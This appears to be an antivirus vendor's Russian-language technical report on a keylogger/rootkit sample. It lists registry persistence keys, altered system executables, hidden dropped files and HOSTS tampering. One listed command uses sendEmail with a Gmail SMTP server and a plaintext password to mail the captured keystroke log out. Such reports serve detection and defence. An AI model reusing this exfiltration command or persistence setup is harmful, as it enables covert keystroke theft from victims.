Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Vt192' = 'C:\reader_s.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'MbrVitro192_a_1438.sys' = 'C:\VITRO192\smss.bat'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'MbrVitro192_1438.sys' = 'C:\VITRO192\lsass.exe'
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\KernelLoader] 'Start' = '00000001'
Изменяет следующие исполняемые системные файлы:
- <SYSTEM32>\freecell.exe
- <SYSTEM32>\expand.exe
- <SYSTEM32>\drwtsn32.exe
- <SYSTEM32>\netsh.exe
- <SYSTEM32>\calc.exe
- <SYSTEM32>\mspaint.exe
- <SYSTEM32>\tasklist.exe
- <SYSTEM32>\taskmgr.exe
- <SYSTEM32>\notepad.exe
- %WINDIR%\regedit.exe
- <SYSTEM32>\mshearts.exe
- <SYSTEM32>\wuauclt.exe
Вредоносные функции:
Создает и запускает на исполнение:
- 'C:\VITRO192\sendEmail.exe' -f expert1922@gmail.com -t expert1922@gmail.com -s smtp.gmail.com:587 -xu expert1922@gmail.com -xp krzysiek1438 -u "Virut Expert192 2013 Keylogger Roootkit Version" -m "Za│╣czniki" -a "C:\VITRO192\Info.log"
- 'C:\VITRO192\awc.exe'
- 'C:\VITRO192\lsass.exe'
Запускает на исполнение:
- '<SYSTEM32>\ping.exe' -n 2 localhost
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\2.tmp\lsass.bat" "
- '<SYSTEM32>\ping.exe' -n 3 localhost
- '<SYSTEM32>\systeminfo.exe'
- '<SYSTEM32>\ping.exe' -n 5 localhost
- '%WINDIR%\regedit.exe' /s a.reg
- '<SYSTEM32>\ipconfig.exe' /all
- '<SYSTEM32>\attrib.exe' +S +H +R C:\VITRO192
- '<SYSTEM32>\attrib.exe' +S +H +R C:\VITRO192\lsass.exe
- '<SYSTEM32>\ping.exe' -n 4 localhost
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\vt1922.bat" "
- '<SYSTEM32>\attrib.exe' +S +H +R C:\VITRO192\sendEmail.pl
- '<SYSTEM32>\attrib.exe' +S +H +R C:\VITRO192\awc.exe
- '<SYSTEM32>\attrib.exe' +S +H +R C:\VITRO192\smss.bat
- '<SYSTEM32>\attrib.exe' +S +H +R C:\VITRO192\sendEmail.exe
Изменения в файловой системе:
Создает следующие файлы:
- %TEMP%\pdk-%USERNAME%-3472\libeay32.dll
- %TEMP%\pdk-%USERNAME%-3472\ssleay32.dll
- %TEMP%\pdk-%USERNAME%\465d2954d90fe6225ea61b3907c91da8.dll
- %TEMP%\1.tmp\Info.log
- <SYSTEM32>\wordpad.exe
- %TEMP%\pdk-%USERNAME%\6145f78a34d5ced8200800f1455d578a\perl58.dll
- %TEMP%\pdk-%USERNAME%\f4e2e0db77ed1e6572c2f490479cd815.dll
- %TEMP%\1.tmp\a.reg
- <SYSTEM32>\BNA.TMP
- <SYSTEM32>\1.TMP
- %TEMP%\pdk-%USERNAME%\1823e8f62785746fd29cf0b06c636600.dll
- %TEMP%\pdk-%USERNAME%\f72f556d99dfb6b0c3bb37f123e2ee96.dll
- %TEMP%\pdk-%USERNAME%\178c2b604baa8a7f1ebc80539f378bff.dll
- %TEMP%\1.tmp\sendEmail.pl
- %TEMP%\1.tmp\smss.bat
- %TEMP%\1.tmp\awc.exe
- %TEMP%\1.tmp\vt1922.bat
- %TEMP%\1.tmp\lsass.exe
- %TEMP%\1.tmp\sendEmail.exe
- C:\VITRO192\lsass.exe
- C:\VITRO192\awc.exe
- %TEMP%\2.tmp\lsass.bat
- %WINDIR%\KernelLoader.sys
- C:\VITRO192\sendEmail.exe
- C:\VITRO192\sendEmail.pl
- C:\VITRO192\smss.bat
Присваивает атрибут 'скрытый' для следующих файлов:
- C:\VITRO192\smss.bat
- C:\VITRO192\awc.exe
- C:\VITRO192\sendEmail.exe
- C:\VITRO192\lsass.exe
- C:\VITRO192\sendEmail.pl
Удаляет следующие файлы:
- %TEMP%\1.tmp\a.reg
- %TEMP%\2.tmp\lsass.bat
- %TEMP%\pdk-%USERNAME%-3472\ssleay32.dll
- %TEMP%\1.tmp\vt1922.bat
- %TEMP%\pdk-%USERNAME%-3472\libeay32.dll
Изменяет файл HOSTS.
Другое:
Ищет следующие окна:
- ClassName: 'RegEdit_RegEdit' WindowName: ''
